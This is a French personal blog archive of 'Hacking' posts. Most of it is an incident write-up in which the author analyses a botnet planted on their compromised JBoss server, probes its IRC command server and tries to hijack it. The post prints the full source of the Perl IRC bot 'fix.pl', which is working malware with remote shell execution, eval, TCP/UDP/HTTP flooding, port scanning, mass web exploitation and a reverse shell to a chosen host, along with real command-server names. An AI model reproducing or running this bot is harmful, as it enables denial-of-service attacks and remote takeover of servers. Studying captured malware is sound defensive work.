Archive

Archives pour la catégorie ‘Hacking’

Sur quel serveur DNS racine pointent mes requètes ?

dig @l.root-servers.net txt chaos hostname.bind +short
dig -4 @l.root-servers.net . SOA +nsid
dig IDENTITY.L.ROOT-SERVERS.ORG TXT +short

If the answer is either ppt01.l.root-servers.org or ppt02.l.root-servers.org, you are quering the local L-root anycasted instance.

Categories: Geek, Hacking, Linux Tags: , , ,

Fun with SDR

Voici un petit article autour des tests que j’ai pu faire autour du SDR (Software Defined Radio).
Avec l’antenne de base, j’ai pu capter quelques trucs intéressants surtout sur la plage des 119-130Mhz et des 156-160Mhz.
Je mettrais quelques enregistrements, des capture d’écran, etc …

C’est tout pour aujourd’hui.

Categories: Hacking Tags: , ,

Outils Audit

http://www.arxsys.fr/
http://www.cgsecurity.org/wiki/PhotoRec_FR
http://www.sleuthkit.org/

Liste des experts judiciaires : http://www.ca-paris.justice.fr/art_pix/ANNUEXPERTS2015.pdf

Categories: Hacking Tags:

Wardriving sur Tahiti et Moorea

Update : J’ai uploadé mes traces sur Wigle



Voici mes dernières traces de wardriving sur une petite partie de Tahiti et Moorea.

http://www.pologtijaune.pf/wp-content/uploads/2015/10/WigleWifi_201510010917061.kml

Enjoy !

Categories: Hacking Tags:

Botnet jboss

Récement je me suis fait piraté un serveur jboss.

Le serveur ayant un firewall, le pirate s’est servi d’un utilisateur local non identifié afin de déployer son botnet.
Il a ensuite exploité une faille RMI sur le port 4444, un outils comme twiddle à du être utilisé.
Une fois la faille exploitée, j’ai découvert la présence d’un dossier intéréssant, notament le fichier fix.pl qui est un script perl.
Ce script efectue une connexion à son Control Center (CC)  situé en Korée.
Sur le port 25, il y à un serveur Unreal3.2.9 caché derrière une fausse bannière SMTP surement pour brouiller les firewall :

:ESMTP.Exim.com NOTICE AUTH :*** Looking up your hostname…
:ESMTP.Exim.com NOTICE AUTH :*** Found your hostname
ERROR :Closing Link: [X.X.X.X] (Ping timeout)
Connection closed by foreign host.

On se connecte au serveur IRC :

* Recherche de irc.uid0.su
* Connexion à irc.uid0.su (119.68.205.1) port 25…
* Connecté. Identification en cours…
* *** Looking up your hostname…
* *** Found your hostname
* Welcome to the ESMTP Exim 4.72 IRC Network XXXXXXXXXX
* Your host is ESMTP.Exim.com, running version Unreal3.2.9
* This server was created Thu Dec 4 2014 at 09:00:23 KST
* ESMTP.Exim.com Unreal3.2.9 iowghraAsORTVSxNCWqBzvdHtGp lvhopsmntikrRcaqOALQbSeIKVfMCuzNTGjZ
* UHNAMES NAMESX SAFELIST HCN MAXCHANNELS=30 CHANLIMIT=#:30 MAXLIST=b:60,e:60,I:60 NICKLEN=30 CHANNELLEN=32 TOPICLEN=307 KICKLEN=307 AWAYLEN=307 MAXTARGETS=20 :are supported by this server
* WALLCHOPS WATCH=128 WATCHOPTS=A SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=beI,kfL,lj,psmntirRcOAQKVCuzNSMTGZ NETWORK=ESMTP-Exim-4.72 CASEMAPPING=ascii EXTBAN=~,qjncrR ELIST=MNUCT STATUSMSG=~&@%+ :are supported by this server
* EXCEPTS INVEX CMDS=KNOCK,MAP,DCCALLOW,USERIP :are supported by this server
* There are 1 users and 118 invisible on 1 servers
* 1 :unknown connection(s)
* 9 :channels formed
* I have 119 clients and 0 servers
* Current Local Users: 119 Max: 1018
* Current Global Users: 119 Max: 842
* MOTD File is missing

Bon, il y à actuellement plus d’une 100aine de serveurs connectés au CC.

Peux-ton prendre le contrôle du botnet ? pour cela il faut analyzer le fichier fix.pl.
La partie intéréssante est la suivante :

my @adms=(« hax », « hewj » );
my @hostauth=(« uid0.s0m », »nix0wnd.su »);
[snip]
elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
if ($args =~ /^\001VERSION\001$/) {
notice(« $pn », « \001VERSION mIRC v6.16 Khaled Mardam-Bey\001 »);
}
if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {
if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
[/snip]

Il faut donc parler au zombi en message privé PRIVMSG. avoir le nickname hax ou hewj (il ne sont pas registered sur le serveur) et un hostname avec uid0.s0m ou nix0wnd.su

Avec le /umode +x voici mon hostname :

hax@7AADB7E9.F36C0308.A9513C91.IP

Autrement :

(hax@A.B.C.D)

Par contre toujours pas le bon hostname.
Il semble que le hostname se change lorsqu’on est IRCOP avec la commande /CHGHOST nick newhost.
Mais comme je ne suis pas OP ‘Permission Denied- You do not have the correct IRC operator privileges’ …

A moins de pouvoir exploiter cette regexp :

$servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;

une tentative avec un @ dans le champ ‘Nom d’utilisateur’ de XChat :

Your username part1\ contained the invalid character(s) \ and has been changed to part1. Please use only the characters 0-9 a-z A-Z _ – or . in your username. Your username is the part before the @ in your email address.

le seul moyen que je vois est d’être OP sur le serveur IRC …

Liens : fix.pl
http://www.hsc.fr/ressources/presentations/securityday2012/hacking_and_securing_jboss.pdf

Fix.pl :

my $processo = ‘/usr/local/apache/bin/httpd -DSSL’;

my @titi = (« index.php?page= », »main.php?page= »);

my $goni = $titi[rand scalar @titi];

my $linas_max=’5′;
my $sleep=’7′;
my @adms=(« hax », « hewj » );
my @hostauth=(« uid0.s0m », »nix0wnd.su »);
my @canais=(« #jboss »);
my $nick = getnick();
chop (my $ircname = `whoami`);
chop (my $realname = `uname -sr`);
$servidor=’irc.uid0.su’ unless $servidor;
my $porta=’25’;
my $VERSAO = ‘0.5’;
my $estatisticas = 0;

$SIG{‘INT’} = ‘IGNORE’;
$SIG{‘HUP’} = ‘IGNORE’;
$SIG{‘TERM’} = ‘IGNORE’;
$SIG{‘CHLD’} = ‘IGNORE’;
$SIG{‘PS’} = ‘IGNORE’;
use IO::Socket;
use Socket;
use IO::Select;
chdir(« /tmp »);
$servidor= »$ARGV[0] » if $ARGV[0];
$0= »$processo ». »\0″x16;;
my $pid=fork;
exit if $pid;
die « Problema com o fork: $! » unless defined($pid);

our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();

$sel_cliente = IO::Select->new();
sub sendraw {
if ($#_ == ‘1’) {
my $socket = $_[0];
print $socket « $_[1]\n »;
} else {
print $IRC_cur_socket « $_[0]\n »;
}
}

sub conectar {
my $meunick = $_[0];
my $servidor_con = $_[1];
my $porta_con = $_[2];

my $IRC_socket = IO::Socket::INET->new(Proto=> »tcp », PeerAddr=> »$servidor_con », PeerPort=>$porta_con) or return(1);
if (defined($IRC_socket)) {
$IRC_cur_socket = $IRC_socket;

$IRC_socket->autoflush(1);
$sel_cliente->add($IRC_socket);

$irc_servers{$IRC_cur_socket}{‘host’} = « $servidor_con »;
$irc_servers{$IRC_cur_socket}{‘porta’} = « $porta_con »;
$irc_servers{$IRC_cur_socket}{‘nick’} = $meunick;
$irc_servers{$IRC_cur_socket}{‘meuip’} = $IRC_socket->sockhost;
nick(« $meunick »);
sendraw(« USER $ircname « .$IRC_socket->sockhost. » $servidor_con :$realname »);
sleep 1;
}
}
my $line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { conectar(« $nick », « $servidor », « $porta »); }
delete($irc_servers{ »}) if (defined($irc_servers{ »}));
my @ready = $sel_cliente->can_read(0);
next unless(@ready);
foreach $fh (@ready) {
$IRC_cur_socket = $fh;
$meunick = $irc_servers{$IRC_cur_socket}{‘nick’};
$nread = sysread($fh, $msg, 4096);
if ($nread == 0) {
$sel_cliente->remove($fh);
$fh->close;
delete($irc_servers{$fh});
}
@lines = split (/\n/, $msg);

for(my $c=0; $c<= $#lines; $c++) { $line = $lines[$c]; $line=$line_temp.$line if ($line_temp); $line_temp=''; $line =~ s/\r$//; unless ($c == $#lines) { parse("$line"); } else { if ($#lines == 0) { parse("$line"); } elsif ($lines[$c] =~ /\r$/) { parse("$line"); } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { parse("$line"); } else { $line_temp = $line; } } } } } sub parse { my $servarg = shift; if ($servarg =~ /^PING \:(.*)/) { sendraw("PONG :$1"); } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5; if ($args =~ /^\001VERSION\001$/) { notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001"); } if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) { if (grep {$_ =~ /^\Q$pn\E$/i } @adms) { if ($onde eq "$meunick"){ shell("$pn", "$args"); } if ($args =~ /^(\Q$meunick\E|\!say)\s+(.*)/ ) { my $natrix = $1; my $arg = $2; if ($arg =~ /^\!(.*)/) { ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/); } elsif ($arg =~ /^\@(.*)/) { $ondep = $onde; $ondep = $pn if $onde eq $meunick; bfunc("$ondep","$1"); } else { shell("$onde", "$arg"); } } } } } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { if (lc($1) eq lc($meunick)) { $meunick=$4; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; } } elsif ($servarg =~ m/^\:(.+?)\s+433/i) { nick("$meunick|".int rand(999999)); } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { $meunick = $2; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; $irc_servers{$IRC_cur_socket}{'nome'} = "$1"; foreach my $canal (@canais) { sendraw("JOIN $canal ddosit"); } } } sub bfunc { my $printl = $_[0]; my $funcarg = $_[1]; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { if ($funcarg =~ /^portscan (.*)/) { my $hostip="$1"; my @portas=("21","22","23","25","80","113","135","445","1025","5000","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018"); my (@aberta, %porta_banner); sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]\002 Scanning ".$1." for open ports."); foreach my $porta (@portas) { my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => ‘tcp’, Timeout => 4);
if ($scansock) {
push (@aberta, $porta);
$scansock->close;
}
}

if (@aberta) {
sendraw($IRC_cur_socket, « PRIVMSG $printl :\002[SCAN]\002 Open port(s): @aberta »);
} else {
sendraw($IRC_cur_socket, »PRIVMSG $printl :\002[SCAN]\002 No open ports found »);
}
}
if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
sendraw($IRC_cur_socket, « PRIVMSG $printl :\002[TCP]\002 Attacking « .$1. »: ».$2. » for « .$3. » seconds. »);
my $itime = time;
my ($cur_time);
$cur_time = time – $itime;
while ($3>$cur_time){
$cur_time = time – $itime;
&tcpflooder(« $1″, »$2″, »$3 »);
}
sendraw($IRC_cur_socket, « PRIVMSG $printl :\002[TCP]\002 Attack done « .$1. »: ».$2. ». »);
}
if ($funcarg =~ /^version/) {
sendraw($IRC_cur_socket, « PRIVMSG $printl :\002[VERSION]\002 perlb0t ver « .$VERSAO);
}
if ($funcarg =~ /^google\s+(\d+)\s+(.*)/) {
sendraw($IRC_cur_socket, « PRIVMSG $printl :\002[GOOGLE]\002 Scanning for unpatched mambo for « .$1. » seconds. »);
srand;
my $itime = time;
my ($cur_time);
my ($exploited);
$boturl=$2;
$cur_time = time – $itime;$exploited = 0;
while($1>$cur_time){
$cur_time = time – $itime;
@urls=fetch();
foreach $url (@urls) {
$cur_time = time – $itime;
my $path = «  »;my $file = «  »;($path, $file) = $url =~ /^(.+)\/(.+)$/;

$url =$path. »/$goni$boturl » ;

$page = http_query($url);
$exploited = $exploited + 1;
}
}
sendraw($IRC_cur_socket, « PRIVMSG $printl :\002[GOOGLE]\002 Exploited « .$exploited. » boxes in « .$1. » seconds. »);
}
if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
sendraw($IRC_cur_socket, « PRIVMSG $printl :\002[HTTP]\002 Attacking « .$1. »:80 for « .$2. » seconds. »);
my $itime = time;
my ($cur_time);
$cur_time = time – $itime;
while ($2>$cur_time){
$cur_time = time – $itime;
my $socket = IO::Socket::INET->new(proto=>’tcp’, PeerAddr=>$1, PeerPort=>80);
print $socket « GET / HTTP/1.1\r\nAccept: */*\r\nHost: « .$1. »\r\nConnection: Keep-Alive\r\n\r\n »;
close($socket);
}
sendraw($IRC_cur_socket, « PRIVMSG $printl :\002[HTTP]\002 Attacking done « .$1. ». »);
}
if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
sendraw($IRC_cur_socket, « PRIVMSG $printl :\002[UDP]\002 Attacking « .$1. » with « .$2. » Kb packets for « .$3. » seconds. »);
my ($dtime, %pacotes) = udpflooder(« $1 », « $2 », « $3 »);
$dtime = 1 if $dtime == 0;
my %bytes;
$bytes{igmp} = $2 * $pacotes{igmp};
$bytes{icmp} = $2 * $pacotes{icmp};
$bytes{o} = $2 * $pacotes{o};
$bytes{udp} = $2 * $pacotes{udp};
$bytes{tcp} = $2 * $pacotes{tcp};
sendraw($IRC_cur_socket, « PRIVMSG $printl :\002[UDP]\002 Sent « .int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024). » Kb in « .$dtime. » seconds to « .$1. ». »);
}
# Conback.pl by Dominus Vis adaptada e adicionado suporte pra windows ;p
elsif ($funcarg =~ /^conback\s+(.*)\s+(\d+)/) {
my $host = « $1 »;
my $porta = « $2 »;
my $proto = getprotobyname(‘tcp’);
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($porta, $iaddr);
my $shell = « /bin/sh -i »;
if ($^O eq « MSWin32 ») {
$shell = « cmd.exe »;
}
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die « socket: $! »;
connect(SOCKET, $paddr) or die « connect: $! »;
open(STDIN, « >&SOCKET »);
open(STDOUT, « >&SOCKET »);
open(STDERR, « >&SOCKET »);
system(« $shell »);
close(STDIN);
close(STDOUT);
close(STDERR);

if ($estatisticas)
{
sendraw($IRC_cur_socket, « PRIVMSG $printl :\002Conectando-se em\002: $host:$porta »);
}
}
exit;
}
}
}

sub ircase {
my ($kem, $printl, $case) = @_;

if ($case =~ /^join (.*)/) {
j(« $1 »);
}

if ($case =~ /^refresh (.*)/) {
my $goni = $titi[rand scalar @titi];
}

if ($case =~ /^part (.*)/) {
p(« $1 »);
}
if ($case =~ /^rejoin\s+(.*)/) {
my $chan = $1;
if ($chan =~ /^(\d+) (.*)/) {
for (my $ca = 1; $ca <= $1; $ca++ ) { p("$2"); j("$2"); } } else { p("$chan"); j("$chan"); } } if ($case =~ /^op/) { op("$printl", "$kem") if $case eq "op"; my $oarg = substr($case, 3); op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); } if ($case =~ /^deop/) { deop("$printl", "$kem") if $case eq "deop"; my $oarg = substr($case, 5); deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); } if ($case =~ /^msg\s+(\S+) (.*)/) { msg("$1", "$2"); } if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) { for (my $cf = 1; $cf <= $1; $cf++) { msg("$2", "$3"); } } if ($case =~ /^ctcp\s+(\S+) (.*)/) { ctcp("$1", "$2"); } if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) { for (my $cf = 1; $cf <= $1; $cf++) { ctcp("$2", "$3"); } } if ($case =~ /^nick (.*)/) { nick("$1"); } if ($case =~ /^connect\s+(\S+)\s+(\S+)/) { conectar("$2", "$1", 6667); } if ($case =~ /^raw (.*)/) { sendraw("$1"); } if ($case =~ /^eval (.*)/) { eval "$1"; } } sub shell { my $printl=$_[0]; my $comando=$_[1]; if ($comando =~ /cd (.*)/) { chdir("$1") || msg("$printl", "No such file or directory"); return; } elsif ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my @resp=`$comando 2>&1 3>&1`;
my $c=0;
foreach my $linha (@resp) {
$c++;
chop $linha;
sendraw($IRC_cur_socket, « PRIVMSG $printl :$linha »);
if ($c == « $linas_max ») {
$c=0;
sleep $sleep;
}
}
exit;
}
}
}

sub ctcp {
return unless $#_ == 1;
sendraw(« PRIVMSG $_[0] :\001$_[1]\001 »);
}
sub msg {
return unless $#_ == 1;
sendraw(« PRIVMSG $_[0] :$_[1] »);
}
sub notice {
return unless $#_ == 1;
sendraw(« NOTICE $_[0] :$_[1] »);
}
sub op {
return unless $#_ == 1;
sendraw(« MODE $_[0] +o $_[1] »);
}
sub deop {
return unless $#_ == 1;
sendraw(« MODE $_[0] -o $_[1] »);
}
sub j { &join(@_); }
sub join {
return unless $#_ == 0;
sendraw(« JOIN $_[0] »);
}
sub p { part(@_); }
sub part {
sendraw(« PART $_[0] »);
}
sub nick {
return unless $#_ == 0;
sendraw(« NICK $_[0] »);
}
sub quit {
sendraw(« QUIT :$_[0] »);
}

sub http_query($){
my ($url) = @_;
my $host=$url;
my $query=$url;

my $page= » »;
$host =~ s/href=\ »?http:\/\///;
$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$query =~s/$host//;
if ($query eq «  ») {$query= »/ »;};
eval {
local $SIG{ALRM} = sub { die « 1 »;};
alarm 10;
my $sock = IO::Socket::INET->new(PeerAddr=> »$host »,PeerPort=> »80″,Proto=> »tcp ») or return;
print $sock « GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n »;
my @r = <$sock>;
$page= »@r »;
alarm 0;
close($sock);
};
return $page;

}

sub getnick {
#my $retornonick = &_get(« http://websurvey.burstmedia.com/names.txt »);
#return $retornonick;
return « jboss ».int(rand(1000));
}

sub getident {
my $retornoident = &_get(« http://www.minpop.com/sk12pack/idents.php »);
my $identchance = int(rand(100));
if ($identchance > 30) {
return $nick;
} else {
return $retornoident;
}
return $retornoident;
}

sub getname {
my $retornoname = &_get(« http://www.minpop.com/sk12pack/names.php »);
return $retornoname;
}

# IDENT TEMPORARIA – Pegar ident da url ta bugando o_o
sub getident2 {
my $length=shift;
$length = 3 if ($length < 3); my @chars=('a'..'z','A'..'Z','1'..'9'); foreach (1..$length) { $randomstring.=$chars[rand @chars]; } return $randomstring; }

Categories: Geek, Hacking, Linux Tags: